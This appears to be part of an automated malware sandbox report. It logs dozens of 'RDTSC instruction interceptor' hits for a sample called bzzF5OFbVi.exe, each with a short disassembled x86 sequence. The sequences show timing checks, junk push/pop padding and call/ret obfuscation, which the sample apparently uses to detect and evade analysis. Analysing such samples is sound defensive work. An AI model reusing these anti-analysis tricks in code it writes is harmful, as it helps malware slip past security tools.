Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2573D6 second address: 257496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FB180E7C71Ch 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov edi, dword ptr [ebp+122D3AB4h] 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FB180E7C718h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov ebx, dword ptr [ebp+122D397Ch] 0x00000042 jmp 00007FB180E7C723h 0x00000047 mov eax, dword ptr [ebp+122D08B5h] 0x0000004d jmp 00007FB180E7C71Ch 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push ecx 0x00000057 call 00007FB180E7C718h 0x0000005c pop ecx 0x0000005d mov dword ptr [esp+04h], ecx 0x00000061 add dword ptr [esp+04h], 0000001Dh 0x00000069 inc ecx 0x0000006a push ecx 0x0000006b ret 0x0000006c pop ecx 0x0000006d ret 0x0000006e movsx ebx, bx 0x00000071 mov di, 21F4h 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007FB180E7C726h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 257496 second address: 25749C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25B2A9 second address: 25B316 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jp 00007FB180E7C718h 0x00000011 mov bh, 44h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, dword ptr [ebp+12456156h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push edi 0x00000028 mov edi, 1E9595B7h 0x0000002d pop edi 0x0000002e mov eax, dword ptr [ebp+122D03E1h] 0x00000034 jo 00007FB180E7C71Ch 0x0000003a or dword ptr [ebp+122D1838h], esi 0x00000040 push FFFFFFFFh 0x00000042 xor dword ptr [ebp+122D1E21h], ebx 0x00000048 nop 0x00000049 jbe 00007FB180E7C72Eh 0x0000004f jmp 00007FB180E7C728h 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25C2CE second address: 25C375 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 movsx edi, bx 0x0000000b jo 00007FB180E78739h 0x00000011 movzx edi, bx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b movzx ebx, ax 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov eax, dword ptr [ebp+122D02EDh] 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FB180E78738h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 jns 00007FB180E7873Ch 0x0000004b mov edi, dword ptr [ebp+122D1F2Eh] 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push edi 0x00000056 call 00007FB180E78738h 0x0000005b pop edi 0x0000005c mov dword ptr [esp+04h], edi 0x00000060 add dword ptr [esp+04h], 0000001Dh 0x00000068 inc edi 0x00000069 push edi 0x0000006a ret 0x0000006b pop edi 0x0000006c ret 0x0000006d mov dword ptr [ebp+122D1E79h], eax 0x00000073 mov bx, cx 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007FB180E78748h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25C375 second address: 25C393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25D3AC second address: 25D3B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25D3B1 second address: 25D3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25D3B7 second address: 25D3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB180E7873Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E60 second address: 262E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E64 second address: 262E6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB180E78736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E6E second address: 262E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E72 second address: 262E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E78 second address: 262E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 262E86 second address: 262EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FB180E7873Bh 0x0000000b jmp 00007FB180E78749h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 207168 second address: 20716C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 20716C second address: 207185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78740h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 207185 second address: 2071B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB180E7C716h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FB180E7C728h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2071B5 second address: 2071CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB180E78736h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FB180E78736h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2071CA second address: 2071CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268B18 second address: 268B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB180E7873Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268B2E second address: 268B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C728h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268B4C second address: 268B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268662 second address: 268668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268668 second address: 26866C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 26866C second address: 268670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268670 second address: 268676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 268676 second address: 2686A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB180E7C71Eh 0x0000000c jmp 00007FB180E7C727h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 26B71B second address: 26B748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FB180E7873Fh 0x0000000a jp 00007FB180E78736h 0x00000010 popad 0x00000011 jbe 00007FB180E7873Ch 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 20A81E second address: 20A822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 271FB0 second address: 271FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB180E78736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 271FBB second address: 271FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 272186 second address: 2721BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Dh 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007FB180E78742h 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FB180E78736h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 276933 second address: 276937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 276937 second address: 27697B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB180E78741h 0x00000010 jp 00007FB180E78736h 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b pop esi 0x0000001c jng 00007FB180E7876Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB180E78744h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2756D9 second address: 2756E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB180E7C716h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2756E7 second address: 275721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Fh 0x00000009 pop edi 0x0000000a jc 00007FB180E7874Fh 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FB180E78747h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275721 second address: 275725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275725 second address: 275737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnp 00007FB180E78736h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275737 second address: 275747 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FB180E7C716h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275747 second address: 27574B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275E37 second address: 275E60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C720h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FB180E7C71Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 275E60 second address: 275E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27613A second address: 27613E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27626F second address: 27627E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27627E second address: 276282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 276623 second address: 276627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 276627 second address: 27662F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 1F6670 second address: 1F668E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FB180E78741h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C2B0 second address: 98C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007FB180E7C721h 0x0000000c push dword ptr [ebp+122D0015h] 0x00000012 sbb dh, FFFFFFDDh 0x00000015 call dword ptr [ebp+122D2A52h] 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D1838h], ebx 0x00000022 xor eax, eax 0x00000024 jns 00007FB180E7C729h 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e pushad 0x0000002f mov ecx, 51F68B6Bh 0x00000034 jmp 00007FB180E7C727h 0x00000039 popad 0x0000003a mov dword ptr [ebp+122D38D4h], eax 0x00000040 cld 0x00000041 mov esi, 0000003Ch 0x00000046 mov dword ptr [ebp+122D1838h], ebx 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 cmc 0x00000051 lodsw 0x00000053 jmp 00007FB180E7C71Eh 0x00000058 add eax, dword ptr [esp+24h] 0x0000005c mov dword ptr [ebp+122D1817h], ecx 0x00000062 mov ebx, dword ptr [esp+24h] 0x00000066 jnc 00007FB180E7C720h 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jmp 00007FB180E7C71Bh 0x00000075 push esi 0x00000076 pop esi 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C50E second address: 24C512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C512 second address: 24C516 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C73B second address: 24C74D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FB180E78736h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C804 second address: 24C808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C808 second address: 24C812 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C812 second address: 24C816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C816 second address: 24C82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB180E7873Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C82A second address: 24C834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24C834 second address: 24C85D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, eax 0x0000000f mov dx, 37C7h 0x00000013 push 00000004h 0x00000015 je 00007FB180E7873Ah 0x0000001b mov cx, B751h 0x0000001f push eax 0x00000020 jo 00007FB180E7874Fh 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24CC6C second address: 24CCD4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FB180E7C726h 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FB180E7C718h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c pushad 0x0000002d xor dword ptr [ebp+122D35CCh], edx 0x00000033 mov esi, 0AC105CAh 0x00000038 popad 0x00000039 nop 0x0000003a push esi 0x0000003b jg 00007FB180E7C71Ch 0x00000041 jng 00007FB180E7C716h 0x00000047 pop esi 0x00000048 push eax 0x00000049 push esi 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24D03F second address: 24D044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24D044 second address: 24D04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24D04E second address: 24D052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24D11E second address: 24D122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24D122 second address: 22A53F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D35A8h], ecx 0x00000013 call dword ptr [ebp+122D2098h] 0x00000019 push ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 22A53F second address: 22A558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB180E7C716h 0x0000000a ja 00007FB180E7C716h 0x00000010 popad 0x00000011 jnp 00007FB180E7C71Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 279E9D second address: 279EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 279EA1 second address: 279EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FB180E7C716h 0x0000000d jmp 00007FB180E7C71Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27A013 second address: 27A045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E78745h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007FB180E78740h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27A338 second address: 27A33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27FE68 second address: 27FE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB180E78736h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27FE74 second address: 27FE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27FE78 second address: 27FE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27E96F second address: 27E97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27ED4A second address: 27ED4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27ED4E second address: 27ED5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FB180E7C716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27F2F1 second address: 27F318 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB180E78750h 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 27F725 second address: 27F72A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
